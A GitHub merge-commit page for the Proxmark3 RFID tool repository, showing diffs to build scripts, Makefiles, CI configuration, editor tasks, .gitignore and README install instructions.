Merge pull request #2 from RfidResearchGroup/master

Update
This commit is contained in:
Bjoern Kerler 2020-04-04 18:22:48 +02:00 committed by GitHub
commit a5972f52ea
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1172 changed files with 233807 additions and 26216 deletions

40
.coverity.conf.sample Normal file
View file

@ -0,0 +1,40 @@
COVLOGIN=myemail@corp.com
COVTOKEN=aAbBcCdDeEfFgGhHiIjJkK
# Toolchain available at https://scan.coverity.com/download
COVBINDIR="/opt/cov-analysis-linux64-2019.03/bin"
# Nickname included in scan description:
NICKNAME=myself
# cov can't read gcov from gcc > 7
HOSTCC=gcc-7
HOSTCXX=g++-7
HOSTLD=g++-7
# Do not change it:
COVDIR=cov-int
# Depending if your kernel > 4.8.x, you might need to activate this to run Coverity executables
# (but latest tools with kernel 5.2 run fine)
#sysctl vsyscall=emulate
export PATH="$PATH:$COVBINDIR"
function pre_build_hook() {
# tmp dir will be /tmp/cov-$username/
# It's the good place if you need to redirect to elsewhere with a symlink
return 0
}
function post_build_hook() {
return 0
}
function pre_submit_hook() {
return 0
}
function post_submit_hook() {
# Clean up build folders?
rm -rf "$COVDIR"
echo "Coverity build cleaned"
return 0
}

12
.github/FUNDING.yml vendored Normal file
View file

@ -0,0 +1,12 @@
# These are supported funding model platforms
github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
patreon: iceman1001
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: ["https://www.paypal.me/iceman1001"]

17
.gitignore vendored
View file

@ -3,8 +3,14 @@
.history
.bash_history
.bash_profile
.bash_logout
.bashrc
.inputrc
.profile
*.log
*.eml
*.html
*.o
*.a
*.d
@ -15,12 +21,15 @@
*.dll
*.moc.cpp
*.z
*.gz
*.Td
*.DS_Store
*.exe
*.dsym
version.c
*.json
*.old
*.swp
# new build file for add-ons.
Makefile.platform
@ -30,10 +39,13 @@ Makefile.platform
!client/hardnested/*.bin
!client/hardnested/tables/*.z
client/ui/ui_overlays.h
client/reveng/bmptst
hardnested_stats.txt
proxmark3
proxmark3-flasher
flasher
!flasher/
lua
luac
fpga_compress
@ -61,10 +73,13 @@ client/traces/*
armsrc/TEMP EMV/*
tools/mf_nonce_brute/*
tools/andrew/*
tools/jtag_openocd/openocd_configuration
ppls patches/*
*- Copy.*
client/lualibs/mf_default_keys.lua
client/lualibs/mfc_default_keys.lua
client/lualibs/pm3_cmd.lua
# recompiled
fpga_version_info.c
.proxmark3/*

View file

@ -1,51 +1,70 @@
# Travis-CI Build for RfidResearchGroup/Proxmark3
language: c
#default linux build env is: Ubuntu 14.04 trusty
#default linux build env is: xenial
compiler: gcc
# move some env variables to homebrew env
env:
global:
- HOMEBREW_TRAVIS_BRANCH=$TRAVIS_BRANCH
- HOMEBREW_TRAVIS_COMMIT=$TRAVIS_COMMIT
# Test on Linux and MacOS
matrix:
include:
# - os: osx
# osx_image: xcode7.3 # OS X 10.11
# - os: osx
# osx_image: xcode8.3 # OS X 10.12
# - os: osx
# osx_image: xcode9 # OS X 10.13
- os: osx
osx_image: xcode9.1 # OS X 10.13.1
osx_image: xcode11
env: MAKE_PARAMS='PLATFORM_EXTRAS='
- os: osx
osx_image: xcode11
env: MAKE_PARAMS='PLATFORM_EXTRAS=BTADDON'
- os: linux
dist: trusty
dist: xenial
sudo: required
env: MAKE_PARAMS='PLATFORM_EXTRAS='
- os: linux
dist: xenial
sudo: required
env: MAKE_PARAMS='PLATFORM_EXTRAS=BTADDON'
addons:
apt:
packages:
- gcc-arm-none-eabi
- libnewlib-dev
- libsndfile1-dev
homebrew:
packages:
- readline
- libsndfile
- qt5
- RfidResearchGroup/proxmark3/arm-none-eabi-gcc
taps: RfidResearchGroup/proxmark3
# update trick to fix https://travis-ci.community/t/macos-build-fails-because-of-homebrew-bundle-unknown-command/7296/14
update: true
before_install:
## Install ARM toolchain on Linux.
## add our homebrew tap for MacOS
## Note: all dependencies on MacOS should be resolved by the brew install command
if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
sudo apt-get update -qq;
sudo apt-get install -y gcc-arm-none-eabi;
elif [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
brew update;
brew tap RfidResearchGroup/proxmark3;
# bug?
# homebrew update replaced python2.7 by python3.7 but
# python3 link failed while python@2 still present, so let's do it again:
if [ "$TRAVIS_OS_NAME" == "osx" ]; then
brew link --overwrite python;
fi
install:
if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
brew info proxmark3;
brew options proxmark3;
brew install --HEAD proxmark3;
elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
make all;
if ! arm-none-eabi-gcc -v; then
echo "arm-none-eabi-gcc [ERROR]";
travis_terminate 1;
fi
before_script:
make clean;
make all V=1 "$MAKE_PARAMS";
script:
## start and run a test script
if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
proxmark3 -h ;
./pm3test.sh;
elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
./client/proxmark3 -h ;
./pm3test.sh;
fi

27
.vscode/tasks.json vendored Normal file
View file

@ -0,0 +1,27 @@
{
// See https://go.microsoft.com/fwlink/?LinkId=733558
// for the documentation about the tasks.json format
"version": "2.0.0",
"tasks": [
{
"label": "build",
"type": "shell",
"command": "make clean && make all -j$(nproc --all)",
"problemMatcher": [
"$gcc"
]
},
{
"label": "flash fullimage",
"type": "shell",
"command": "sudo ./pm3-flash-fullimage",
"problemMatcher": []
},
{
"label": "FLASH BOOTROM",
"type": "shell",
"command": "sudo ./pm3-flash-bootrom",
"problemMatcher": []
}
]
}

File diff suppressed because it is too large Load diff

View file

@ -1,131 +1,2 @@
The project compiles on Linux, Mac OS X and Windows (MinGW/MSYS).
it requires:
- gcc >= 4.8
- libpthread
- libreadline
- libusb
- perl
- an ARM cross-compiler to compile the firmware
- libncurses5-dev
and optionally QT for the GUI
To compile, just run "make".
===========
= Windows =
===========
Rather than download and install every one of these packages, a new ProxSpace
environment archive file will be made available for download on the project
page at @Gator96100's repo
Afterwards just clone the iceman repo or download someone elses. Read instructions on @Gator96100 repo page. (https://github.com/Gator96100/ProxSpace/)
Download the ProxSpace environment archive and extract it to C:\
Links
https://github.com/Gator96100/ProxSpace/archive/master.zip
============
= Mac OS X =
============
Installing from HomeBrew tap
---------------------------
This method is recommended and tested on macOS Sierra 10.12.3
1. Install homebrew if you haven't yet already done so: http://brew.sh/
2. Tap proxmark repo:
brew tap iceman1001/proxmark3
3. Install Proxmark3:
Stable release
brew install proxmark3
Latest non-stable from GitHub (use this if previous command fails)
brew install --HEAD proxmark3
For more information go to https://github.com/iceman1001/homebrew-proxmark3
Upgrading HomeBrew tap formula
-----------------------------
*This method is useful for those looking to run bleeding-edge versions of iceman's client. Keep this in mind when attempting to update your HomeBrew tap formula as this procedure could easily cause a build to break if an update is unstable on macOS.*
Tested on macOS Sierra 10.12.6
*Note: This assumes you have already installed iceman's fork from HomeBrew as mentioned above*
1. Force HomeBrew to pull the latest source from github
`brew upgrade --fetch-HEAD iceman1001/proxmark3/proxmark3`
2. Flash the bootloader
* With your Proxmark3 unplugged from your machine, press and hold the button on your Proxmark 3 as you plug it into a USB port. After about 5 seconds let go of the button and run this command
`$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf`
* After the bootloader finishes flashing, unplug your Proxmark3 from your machine
3. Flash fullimage.elf
* Press and hold the button on your Proxmark 3 and keep it held as you plug the Proxmark 3 back into the USB port; continue to hold the button until after this step is complete and the `proxmark3-flasher` command outputs "Have a nice day!"*
`$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf`
4. Enjoy the update
Compilling from source manually (Legacy)
---------------------------
Tested on OSX 10.10 Yosemite
1 - Install Xcode and Xcode Command Line Tools
2 - Install Homebrew and dependencies
brew install readline libusb p7zip libusb-compat wget qt5 pkgconfig
3 - Download DevKitARM for OSX
http://sourceforge.net/projects/devkitpro/files/devkitARM/devkitARM_r44/
Unpack devkitARM_r44-osx.tar.bz2 to proxmark3 directory.
4 - Edit proxmark3/client/Makefile adding path to readline and qt5
LDLIBS = -L/usr/local/opt/readline/lib -L/usr/local/opt/qt5/lib -L/opt/local/lib -L/usr/local/lib ../liblua/liblua.a -lreadline -lpthread -lm
CFLAGS = -std=c99 -I/usr/local/opt/qt5/include -I/usr/local/opt/readline/include -I. -I../include -I../common -I../zlib -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4
If your old brew intallation use /usr/local/Cellar/ path replace /usr/local/opt/readline/lib with your actuall readline and qt5 path. See homebrew manuals.
5 - Set Environment
export DEVKITPRO=$HOME/proxmark3/
export DEVKITARM=$DEVKITPRO/devkitARM
export PATH=${PATH}:${DEVKITARM}/bin
============
= Linux =
============
1 - Download
A precompiled DevKitARM cross compiler tool chain package can be found at
http://sourceforge.net/projects/devkitpro/files/devkitARM
Select the one you need (32bit or 64bit) and unpack to a convinient place, eg
$HOME/proxmark3/. It will create a devkitARM/ subdirectory.
You will also need a general compiling environment on your computer for
the client and the libusb headers. In most distributions you will get all you
need with the lsb-package (Linux Standard Base). In debian/ubuntu you simply
call `aptitude install lsb libusb-dev libreadline-dev libreadline6`.
For the graphical plot view, you might need the qtlibs (debian/ubuntu:
libqt4-dev), too.
2 - Set Environment
export DEVKITPRO=$HOME/proxmark3/
export DEVKITARM=$DEVKITPRO/devkitARM
export PATH=${PATH}:${DEVKITARM}/bin
Refer to doc/md/Installation_Instructions/ for up-to-date intructions for various platforms.

191
Makefile
View file

@ -1,79 +1,128 @@
# Hide full compilation line:
ifneq ($(V),1)
Q?=@
endif
# To see full command lines, use make V=1
GZIP=gzip
# Windows' echo echos its input verbatim, on Posix there is some
# amount of shell command line parsing going on. echo "" on
# Windows yields literal "", on Linux yields an empty line
ifeq ($(shell echo ""),)
# This is probably a proper system, so we can use uname
DELETE=rm -rf
FLASH_TOOL=client/flasher
platform=$(shell uname)
ifneq (,$(findstring MINGW,$(platform)))
FLASH_PORT=com3
PATHSEP=\\#
else
FLASH_PORT=/dev/ttyACM0
PATHSEP=/
endif
else
# Assume that we are running on native Windows
DELETE=del /q
FLASH_TOOL=client/flasher.exe
platform=Windows
FLASH_PORT=com3
PATHSEP=\\#
endif
include Makefile.defs
-include Makefile.platform
-include .Makefile.options.cache
include common/Makefile.hal
include common_arm/Makefile.hal
all clean: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/%
# preserve relative DESTDIR path for subdir makes
ifneq (,$(DESTDIR))
# realpath needs the directory to exist
$(shell $(MKDIR) $(DESTDIR))
MYDESTDIR:=$(realpath $(DESTDIR))
ifeq (,$(MYDESTDIR))
$(error Can't create $(DESTDIR))
endif
endif
all clean install uninstall: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% fpga_compress/%
INSTALLTOOLS=pm3_eml2lower.sh pm3_eml2upper.sh pm3_mfdread.py pm3_mfd2eml.py pm3_eml2mfd.py findbits.py rfidtest.pl xorcheck.py
INSTALLSIMFW=sim011.bin sim011.sha512.txt
INSTALLSCRIPTS=pm3 pm3-flash pm3-flash-all pm3-flash-bootrom pm3-flash-fullimage
INSTALLSHARES=tools/jtag_openocd traces
INSTALLDOCS=doc/*.md doc/md
install: all common/install
common/install:
$(info [@] Installing common resources to $(MYDESTDIR)$(PREFIX)...)
ifneq (,$(INSTALLSCRIPTS))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)
$(Q)$(CP) $(INSTALLSCRIPTS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)
endif
ifneq (,$(INSTALLSHARES))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)
$(Q)$(CP) $(INSTALLSHARES) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)
endif
ifneq (,$(INSTALLDOCS))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)
$(Q)$(CP) $(INSTALLDOCS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)
endif
ifneq (,$(INSTALLTOOLS))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
$(Q)$(CP) $(foreach tool,$(INSTALLTOOLS),tools/$(tool)) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
endif
ifneq (,$(INSTALLSIMFW))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
$(Q)$(CP) $(foreach fw,$(INSTALLSIMFW),tools/simmodule/$(fw)) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
endif
ifeq ($(platform),Linux)
$(Q)$(MKDIR) $(DESTDIR)$(UDEV_PREFIX)
$(Q)$(CP) driver/77-pm3-usb-device-blacklist.rules $(DESTDIR)$(UDEV_PREFIX)/77-pm3-usb-device-blacklist.rules
endif
uninstall: common/uninstall
common/uninstall:
$(info [@] Uninstalling common resources from $(MYDESTDIR)$(PREFIX)...)
ifneq (,$(INSTALLSCRIPTS))
$(Q)$(RM) $(foreach script,$(INSTALLSCRIPTS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)$(PATHSEP)$(notdir $(script)))
endif
ifneq (,$(INSTALLSHARES))
$(Q)$(RMDIR) $(foreach share,$(INSTALLSHARES),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)$(PATHSEP)$(notdir $(share)))
endif
ifneq (,$(INSTALLDOCS))
$(Q)$(RMDIR) $(foreach doc,$(INSTALLDOCS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)$(PATHSEP)$(notdir $(doc)))
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)
endif
ifneq (,$(INSTALLTOOLS))
$(Q)$(RM) $(foreach tool,$(INSTALLTOOLS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)$(PATHSEP)$(notdir $(tool)))
endif
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
ifneq (,$(INSTALLSIMFW))
$(Q)$(RM) $(foreach fw,$(INSTALLSIMFW),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(notdir $(fw)))
endif
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
ifeq ($(platform),Linux)
$(Q)$(RM) $(DESTDIR)$(UDEV_PREFIX)/77-pm3-usb-device-blacklist.rules
endif
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)
mfkey/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/mfkey $(patsubst mfkey/%,%,$@)
$(Q)$(MAKE) --no-print-directory -C tools/mfkey $(patsubst mfkey/%,%,$@) DESTDIR=$(MYDESTDIR)
nonce2key/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/nonce2key $(patsubst nonce2key/%,%,$@)
$(Q)$(MAKE) --no-print-directory -C tools/nonce2key $(patsubst nonce2key/%,%,$@) DESTDIR=$(MYDESTDIR)
fpga_compress/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/fpga_compress $(patsubst fpga_compress/%,%,$@) DESTDIR=$(MYDESTDIR)
bootrom/%: FORCE cleanifplatformchanged
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C bootrom $(patsubst bootrom/%,%,$@)
armsrc/%: FORCE cleanifplatformchanged
$(Q)$(MAKE) --no-print-directory -C bootrom $(patsubst bootrom/%,%,$@) DESTDIR=$(MYDESTDIR)
armsrc/%: FORCE cleanifplatformchanged fpga_compress/%
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C armsrc $(patsubst armsrc/%,%,$@)
$(Q)$(MAKE) --no-print-directory -C armsrc $(patsubst armsrc/%,%,$@) DESTDIR=$(MYDESTDIR)
client/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C client $(patsubst client/%,%,$@)
recovery/%: FORCE cleanifplatformchanged bootrom/% armsrc/%
$(Q)$(MAKE) --no-print-directory -C client $(patsubst client/%,%,$@) DESTDIR=$(MYDESTDIR)
recovery/all: bootrom/all armsrc/all
recovery/install: bootrom/all armsrc/all
recovery/%: FORCE cleanifplatformchanged
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C recovery $(patsubst recovery/%,%,$@)
$(Q)$(MAKE) --no-print-directory -C recovery $(patsubst recovery/%,%,$@) DESTDIR=$(MYDESTDIR)
FORCE: # Dummy target to force remake in the subdirectories, even if files exist (this Makefile doesn't know about the prerequisites)
.PHONY: all clean help _test bootrom flash-bootrom os flash-os flash-all recovery client mfkey nounce2key style checks FORCE udev accessrights cleanifplatformchanged
.PHONY: all clean install uninstall help _test bootrom fullimage recovery client mfkey nonce2key style checks FORCE udev accessrights cleanifplatformchanged
help:
@echo "Multi-OS Makefile"
@echo
@echo "Possible targets:"
@echo "+ all - Make all targets: bootrom, armsrc and OS-specific host tools"
@echo "+ all - Make all targets: bootrom, fullimage and OS-specific host tools"
@echo "+ clean - Clean in all targets"
@echo "+ .../clean - Clean in specified target and its deps, e.g. bootrom/clean"
@echo "+ (un)install - Install/uninstall Proxmark files in the system, default to /usr/local/share,"
@echo " else provide a PREFIX. See Maintainers.md for more options"
@echo
@echo "+ bootrom - Make bootrom"
@echo "+ os - Make armsrc (includes fpga)"
@echo "+ flash-bootrom - Make bootrom and flash it"
@echo "+ flash-os - Make armsrc and flash os image (includes fpga)"
@echo "+ flash-all - Make bootrom and armsrc and flash bootrom and os image"
@echo "+ recovery - Make bootrom and armsrc images for JTAG flashing"
@echo "+ fullimage - Make armsrc fullimage (includes fpga)"
@echo "+ recovery - Make bootrom and fullimage files for JTAG flashing"
@echo
@echo "+ client - Make only the OS-specific host client"
@echo "+ mfkey - Make tools/mfkey"
@echo "+ nounce2key - Make tools/nounce2key"
@echo "+ nonce2key - Make tools/nonce2key"
@echo "+ fpga_compress - Make tools/fpga_compress"
@echo
@echo "+ style - Apply some automated source code formatting rules"
@echo "+ checks - Detect various encoding issues in source code"
@ -85,7 +134,17 @@ client: client/all
bootrom: bootrom/all
os: armsrc/all
# aliases fullimage = armsrc
fullimage: armsrc/all
fullimage/all: armsrc/all
fullimage/clean: armsrc/clean
fullimage/install: armsrc/install
fullimage/uninstall: armsrc/uninstall
recovery: recovery/all
@ -93,17 +152,10 @@ mfkey: mfkey/all
nonce2key: nonce2key/all
flash-bootrom: bootrom/obj/bootrom.elf $(FLASH_TOOL)
$(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$<)
flash-os: armsrc/obj/fullimage.elf $(FLASH_TOOL)
$(FLASH_TOOL) $(FLASH_PORT) $(subst /,$(PATHSEP),$<)
flash-all: bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf $(FLASH_TOOL)
$(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$(filter-out $(FLASH_TOOL),$^))
fpga_compress: fpga_compress/all
newtarbin:
$(DELETE) proxmark3-$(platform)-bin.tar proxmark3-$(platform)-bin.tar.gz
$(RM) proxmark3-$(platform)-bin.tar proxmark3-$(platform)-bin.tar.gz
@touch proxmark3-$(platform)-bin.tar
tarbin: newtarbin client/tarbin armsrc/tarbin bootrom/tarbin
@ -145,21 +197,36 @@ style:
# Make sure astyle is installed
@which astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 )
# Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile
find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" \) \
find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \
-exec perl -pi -e 's/[ \t]+$$//' {} \; \
-exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \
-exec sh -c "echo >> {}" \;
# Apply astyle on *.c, *.h, *.cpp
find . \( -name "*.[ch]" -or -name "*.cpp" \) -exec astyle --formatted --mode=c --suffix=none \
find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \
--indent=spaces=4 --indent-switches \
--keep-one-line-blocks --max-instatement-indent=60 \
--style=google --pad-oper --unpad-paren --pad-header \
--align-pointer=name {} \;
# Detecting weird codepages.
# Detecting weird codepages and tabs.
checks:
find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" \) \
# Make sure recode is installed
@which recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 )
@echo "Files with suspicious chars:"
@find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \
-exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \;
@echo "Files with tabs:"
# to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq'
ifeq ($(platform),Darwin)
@find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
-exec egrep -l '\t' {} \;
else
@find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
-exec grep -lP '\t' {} \;
endif
# @echo "Files with printf \\\\t:"
# @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
# -exec grep -lP '\\t' {} \;
# Dummy target to test for GNU make availability
_test:

46
Makefile.defs Normal file
View file

@ -0,0 +1,46 @@
# Hide full compilation line:
ifneq ($(V),1)
Q?=@
endif
# To see full command lines, use make V=1
# been here
DEFSBEENHERE = true
CP = cp -a
GZIP = gzip
MKDIR = mkdir -p
RM = rm -f
RMDIR = rm -rf
# rmdir only if dir is empty, tolerate failure
RMDIR_SOFT = -rmdir
MV = mv
TOUCH = touch
FALSE = false
TAR = tar
TARFLAGS ?= -v --ignore-failed-read -r
TARFLAGS += -C .. -f
CROSS ?= arm-none-eabi-
CC = gcc
CXX = g++
LD = g++
PATHSEP=/
PREFIX ?= /usr/local
UDEV_PREFIX ?= /etc/udev/rules.d
INSTALLBINRELPATH ?= bin
INSTALLSHARERELPATH ?= share/proxmark3
INSTALLFWRELPATH ?= share/proxmark3/firmware
INSTALLTOOLSRELPATH ?= share/proxmark3/tools
INSTALLDOCSRELPATH ?= share/doc/proxmark3
platform = $(shell uname)
DETECTED_OS=$(platform)
ifeq ($(platform),Darwin)
AR= /usr/bin/ar rcs
RANLIB= /usr/bin/ranlib
else
AR= ar rcs
RANLIB= ranlib
endif

79
Makefile.host Normal file
View file

@ -0,0 +1,79 @@
# This Makefile might have been called from various subdirs, trying to find our Makefile.defs
ifeq ($(DEFSBEENHERE),)
-include Makefile.defs
endif
ifeq ($(DEFSBEENHERE),)
-include ../Makefile.defs
endif
ifeq ($(DEFSBEENHERE),)
-include ../../Makefile.defs
endif
ifeq ($(DEFSBEENHERE),)
-include ../../../Makefile.defs
endif
ifeq ($(DEFSBEENHERE),)
$(error Can't find Makefile.defs)
endif
CFLAGS ?= -Wall -Werror -O3
CFLAGS += $(MYDEFS) $(MYCFLAGS) $(MYINCLUDES)
vpath %.c $(MYSRCPATHS)
# Flags to generate temporary dependency files
DEPFLAGS = -MT $@ -MMD -MP -MF $(OBJDIR)/$*.Td
# make temporary to final dependency files after successful compilation
POSTCOMPILE = $(MV) -f $(OBJDIR)/$*.Td $(OBJDIR)/$*.d && $(TOUCH) $@
BINDIR := .
OBJDIR := obj
MYOBJS = $(MYSRCS:%.c=$(OBJDIR)/%.o)
CLEAN = $(foreach bin,$(MYLIBS) $(BINS) $(LIB_A),$(BINDIR)/$(bin))
all: $(foreach bin,$(MYLIBS) $(BINS) $(LIB_A),$(BINDIR)/$(bin))
clean:
$(Q)$(RM) $(CLEAN)
$(Q)$(RMDIR) $(OBJDIR)
install: all
ifneq (,$(INSTALLTOOLS))
$(info [@] Installing $(BINS) to $(DESTDIR)$(PREFIX)...)
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
$(Q)$(CP) $(INSTALLTOOLS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
endif
@true
uninstall:
ifneq (,$(INSTALLTOOLS))
$(info [@] Uninstalling $(BINS) from $(DESTDIR)$(PREFIX)...)
$(Q)$(RM) $(foreach tool,$(INSTALLTOOLS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)$(PATHSEP)$(notdir $(tool)))
endif
@true
.PHONY: all clean install uninstall
$(BINDIR)/$(LIB_A): $(MYOBJS)
$(info [=] AR $(notdir $@))
$(Q)$(AR) $@ $(MYOBJS)
$(Q)$(RANLIB) $@
$(BINDIR)/% : $(OBJDIR)/%.o $(MYOBJS) $(MYLIBS)
$(info [=] LD $(notdir $@))
$(Q)$(LD) $(LDFLAGS) $(MYOBJS) $< -o $@ $(MYLIBS)
$(OBJDIR)/%.o : %.c | $(OBJDIR)
$(info [-] CC $<)
$(Q)$(CC) $(DEPFLAGS) $(CFLAGS) -c -o $@ $<
$(Q)$(POSTCOMPILE)
$(OBJDIR):
$(Q)$(MKDIR) $(OBJDIR)
DEPENDENCY_FILES = $(MYOBJS:%.o=%.d) $(BINS:%=$(OBJDIR)/%.d)
$(DEPENDENCY_FILES): ;
.PRECIOUS: $(DEPENDENCY_FILES)
-include $(DEPENDENCY_FILES)

View file

@ -1,4 +1,7 @@
# If you want to use it, copy this file as Makefile.platform and adjust it to your needs
# Run 'make PLATFORM=' to get an exhaustive list of possible parameters for this file.
PLATFORM=PM3RDV4
# If you want more than one PLATFORM_EXTRAS option, separate them by spaces:
#PLATFORM_EXTRAS=BTADDON
#STANDALONE=LF_SAMYRUN

View file

@ -1,26 +1,37 @@
# Proxmark3 RDV4.0 Dedicated Github
# RRG / Iceman repo - Proxmark3
This repo is based on iceman fork for Proxmark3. It is dedicated to bringing the most out of the new features for Proxmark3 RDV4.0 new hardware and design.
[![Build status](https://ci.appveyor.com/api/projects/status/ct5blik2wa96bv0x/branch/master?svg=true)](https://ci.appveyor.com/project/iceman1001/proxmark3-ji4wj/branch/master)
[![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest)
| Releases | Linux & OSX CI | Windows CI | Coverity |
| ------------------- |:-------------------:| -------------------:| -------------------:|
| [![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest) | [![Build status](https://travis-ci.org/RfidResearchGroup/proxmark3.svg?branch=master)](https://travis-ci.org/RfidResearchGroup/proxmark3) | [![Build status](https://ci.appveyor.com/api/projects/status/b4gwrhq3nc876cuu/branch/master?svg=true)](https://ci.appveyor.com/project/RfidResearchGroup/proxmark3/branch/master) | [![Coverity Status](https://scan.coverity.com/projects/19334/badge.svg)](https://scan.coverity.com/projects/proxmark3-rrg-iceman-repo)|
---
# PROXMARK INSTALLATION AND OVERVIEW
| FAQ's & Updates | Installation | Use of the Proxmark |
| ------------------- |:-------------------:| -------------------:|
|[What has changed?](#what-has-changed) | [Setup and build for Linux](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) | [Compilation Instructions](/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md)|
|[Development](#development) | [Important notes on ModemManager for Linux users](/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md) | [Validating proxmark client functionality](/doc/md/Use_of_Proxmark/1_Validation.md) |
|[Why didn't you base it on official PM3 Master?](#why-didnt-you-base-it-on-official-pm3-master)| [Homebrew (Mac OS X) & Upgrading HomeBrew Tap Formula](/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md) | [First Use and Verification](/doc/md/Use_of_Proxmark/2_Configuration-and-Verification.md)|
